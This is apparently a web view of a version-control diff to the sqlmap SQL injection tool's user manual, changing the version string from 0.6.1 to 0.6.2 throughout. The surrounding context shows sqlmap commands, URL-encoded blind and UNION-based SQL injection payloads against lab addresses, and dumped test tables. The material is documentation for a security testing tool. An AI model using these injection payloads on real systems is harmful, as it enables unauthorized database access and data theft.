					[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -3015,7 +3015,7 @@ X-Pad: avoid browser bug
 | 
				
			||||||
[hh:mm:56] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:56] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
 | 
					GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
 | 
				
			||||||
Host: www.sqlsecurity.com
 | 
					Host: www.sqlsecurity.com
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
 | 
					Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
 | 
				
			||||||
language=en-US
 | 
					language=en-US
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
							
								
								
									
										
											BIN
										
									
								
								doc/README.pdf
									
									
									
									
									
								
							
							
						
						
									
										
											BIN
										
									
								
								doc/README.pdf
									
									
									
									
									
								
							
										
											Binary file not shown.
										
									
								
							| 
						 | 
					@ -4,7 +4,7 @@
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<title>sqlmap user's manual
 | 
					<title>sqlmap user's manual
 | 
				
			||||||
<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
 | 
					<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G.">
 | 
				
			||||||
<date>version 0.6.1, 20th of October 2008
 | 
					<date>version 0.6.2, 2nd of November 2008
 | 
				
			||||||
<abstract>
 | 
					<abstract>
 | 
				
			||||||
This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
 | 
					This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">.
 | 
				
			||||||
Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
 | 
					Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage">
 | 
				
			||||||
| 
						 | 
					@ -257,19 +257,19 @@ name="SourceForge File List page">.
 | 
				
			||||||
It is available in various formats:
 | 
					It is available in various formats:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<itemize>
 | 
					<itemize>
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.gz"
 | 
				
			||||||
name="Source gzip compressed"> operating system independent.
 | 
					name="Source gzip compressed"> operating system independent.
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.tar.bz2"
 | 
				
			||||||
name="Source bzip2 compressed"> operating system independent.
 | 
					name="Source bzip2 compressed"> operating system independent.
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2.zip"
 | 
				
			||||||
name="Source zip compressed"> operating system independent.
 | 
					name="Source zip compressed"> operating system independent.
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.2-1_all.deb"
 | 
				
			||||||
name="DEB binary package"> architecture independent for Debian and any
 | 
					name="DEB binary package"> architecture independent for Debian and any
 | 
				
			||||||
other Debian derivated GNU/Linux distribution.
 | 
					other Debian derivated GNU/Linux distribution.
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2-1.noarch.rpm"
 | 
				
			||||||
name="RPM binary package"> architecture independent for Fedora and any
 | 
					name="RPM binary package"> architecture independent for Fedora and any
 | 
				
			||||||
other operating system that can install RPM packages.
 | 
					other operating system that can install RPM packages.
 | 
				
			||||||
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip"
 | 
					<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.2_exe.zip"
 | 
				
			||||||
name="Portable executable for Windows"> that <bf>does not require the Python
 | 
					name="Portable executable for Windows"> that <bf>does not require the Python
 | 
				
			||||||
interpreter</bf> to be installed on the operating system.
 | 
					interpreter</bf> to be installed on the operating system.
 | 
				
			||||||
</itemize>
 | 
					</itemize>
 | 
				
			||||||
| 
						 | 
					@ -297,7 +297,7 @@ and <htmlurl url="mailto:daniele.bellucci@gmail.com" name="Daniele Bellucci">.
 | 
				
			||||||
<tscreen><verb>
 | 
					<tscreen><verb>
 | 
				
			||||||
$ python sqlmap.py -h
 | 
					$ python sqlmap.py -h
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
 | 
					    sqlmap/0.6.2 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
 | 
				
			||||||
                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 | 
					                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 | 
				
			||||||
    
 | 
					    
 | 
				
			||||||
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
 | 
					Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
 | 
				
			||||||
| 
						 | 
					@ -493,7 +493,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:28] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:28] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
[hh:mm:29] [INFO] testing MySQL
 | 
					[hh:mm:29] [INFO] testing MySQL
 | 
				
			||||||
| 
						 | 
					@ -502,7 +502,7 @@ Connection: close
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
				
			||||||
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
 | 
					CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
| 
						 | 
					@ -518,7 +518,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:32] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:32] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -536,7 +536,7 @@ Content-Type: text/html
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 | 
				
			||||||
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
 | 
					CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -561,7 +561,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 | 
				
			||||||
[hh:mm:23] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:23] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -586,7 +586,7 @@ Content-Type: text/html
 | 
				
			||||||
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
 | 
					GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
 | 
				
			||||||
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
 | 
					CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -701,7 +701,7 @@ Example on a <bf>MySQL 5.0.51</bf> target:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<tscreen><verb>
 | 
					<tscreen><verb>
 | 
				
			||||||
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
 | 
					$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
 | 
				
			||||||
  -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
 | 
					  -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 | 
					[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 | 
				
			||||||
[hh:mm:40] [INFO] testing connection to the target url
 | 
					[hh:mm:40] [INFO] testing connection to the target url
 | 
				
			||||||
| 
						 | 
					@ -846,7 +846,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
 | 
				
			||||||
[hh:mm:39] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:39] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
					GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.125:80
 | 
					Host: 192.168.1.125:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 | 
					Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -858,7 +858,7 @@ Connection: close
 | 
				
			||||||
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
					GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.125:80
 | 
					Host: 192.168.1.125:80
 | 
				
			||||||
Cookie: ASPSESSIONIDSABTRCAS=469
 | 
					Cookie: ASPSESSIONIDSABTRCAS=469
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
 | 
					[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
 | 
				
			||||||
| 
						 | 
					@ -905,7 +905,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 | 
				
			||||||
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
Referer: http://www.google.com
 | 
					Referer: http://www.google.com
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
| 
						 | 
					@ -921,7 +921,7 @@ By default sqlmap perform HTTP requests providing the following HTTP
 | 
				
			||||||
<tt>User-Agent</tt> header value:
 | 
					<tt>User-Agent</tt> header value:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<tscreen><verb>
 | 
					<tscreen><verb>
 | 
				
			||||||
sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<p>
 | 
					<p>
 | 
				
			||||||
| 
						 | 
					@ -1006,7 +1006,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&
 | 
				
			||||||
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
 | 
					Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -1023,7 +1023,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
 | 
				
			||||||
uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
 | 
					uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
 | 
				
			||||||
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
 | 
					response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
 | 
				
			||||||
cnonce="df1c0902c931b640"
 | 
					cnonce="df1c0902c931b640"
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
[...]
 | 
					[...]
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
| 
						 | 
					@ -1145,7 +1145,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
 | 
				
			||||||
[hh:mm:50] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:50] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -1167,7 +1167,7 @@ Content-Type: text/html
 | 
				
			||||||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -1189,7 +1189,7 @@ Content-Type: text/html
 | 
				
			||||||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:51] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
					GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -2008,7 +2008,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  | NULL                                         | nameisnull        |
 | 
					| 5  | NULL                                         | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
| 
						 | 
					@ -2060,7 +2060,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  |                                              | nameisnull        |
 | 
					| 5  |                                              | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2074,7 +2074,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
 | 
				
			||||||
"1","luther","blissett"
 | 
					"1","luther","blissett"
 | 
				
			||||||
"2","fluffy","bunny"
 | 
					"2","fluffy","bunny"
 | 
				
			||||||
"3","wu","ming"
 | 
					"3","wu","ming"
 | 
				
			||||||
"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
 | 
					"4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
 | 
				
			||||||
"5","","nameisnull"
 | 
					"5","","nameisnull"
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2102,7 +2102,7 @@ Table: users
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
</verb></tscreen>
 | 
					</verb></tscreen>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2134,7 +2134,7 @@ Table: users
 | 
				
			||||||
| 1  | luther                                       | blissett          |
 | 
					| 1  | luther                                       | blissett          |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 5  | NULL                                         | nameisnull        |
 | 
					| 5  | NULL                                         | nameisnull        |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					@ -2223,7 +2223,7 @@ Table: users
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| id | name                                         | surname           |
 | 
					| id | name                                         | surname           |
 | 
				
			||||||
+----+----------------------------------------------+-------------------+
 | 
					+----+----------------------------------------------+-------------------+
 | 
				
			||||||
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
 | 
					| 4  | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
 | 
				
			||||||
| 2  | fluffy                                       | bunny             |
 | 
					| 2  | fluffy                                       | bunny             |
 | 
				
			||||||
| 1  | luther                                       | blisset           |
 | 
					| 1  | luther                                       | blisset           |
 | 
				
			||||||
| 3  | wu                                           | ming              |
 | 
					| 3  | wu                                           | ming              |
 | 
				
			||||||
| 
						 | 
					@ -2774,7 +2774,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C
 | 
				
			||||||
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
 | 
					%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
 | 
				
			||||||
06043=6043&cat=2 HTTP/1.1
 | 
					06043=6043&cat=2 HTTP/1.1
 | 
				
			||||||
Host: 192.168.1.121:80
 | 
					Host: 192.168.1.121:80
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -2913,7 +2913,7 @@ $ python sqlmap.py --update -v 4
 | 
				
			||||||
[hh:mm:55] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:55] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /doc/VERSION HTTP/1.1
 | 
					GET /doc/VERSION HTTP/1.1
 | 
				
			||||||
Host: sqlmap.sourceforge.net
 | 
					Host: sqlmap.sourceforge.net
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
 | 
					
 | 
				
			||||||
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
 | 
					[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
 | 
				
			||||||
| 
						 | 
					@ -2932,7 +2932,7 @@ X-Pad: avoid browser bug
 | 
				
			||||||
[hh:mm:56] [TRAFFIC OUT] HTTP request:
 | 
					[hh:mm:56] [TRAFFIC OUT] HTTP request:
 | 
				
			||||||
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
 | 
					GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
 | 
				
			||||||
Host: www.sqlsecurity.com
 | 
					Host: www.sqlsecurity.com
 | 
				
			||||||
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 | 
					User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
 | 
				
			||||||
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
 | 
					Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
 | 
				
			||||||
language=en-US
 | 
					language=en-US
 | 
				
			||||||
Connection: close
 | 
					Connection: close
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in New Issue
	
	Block a user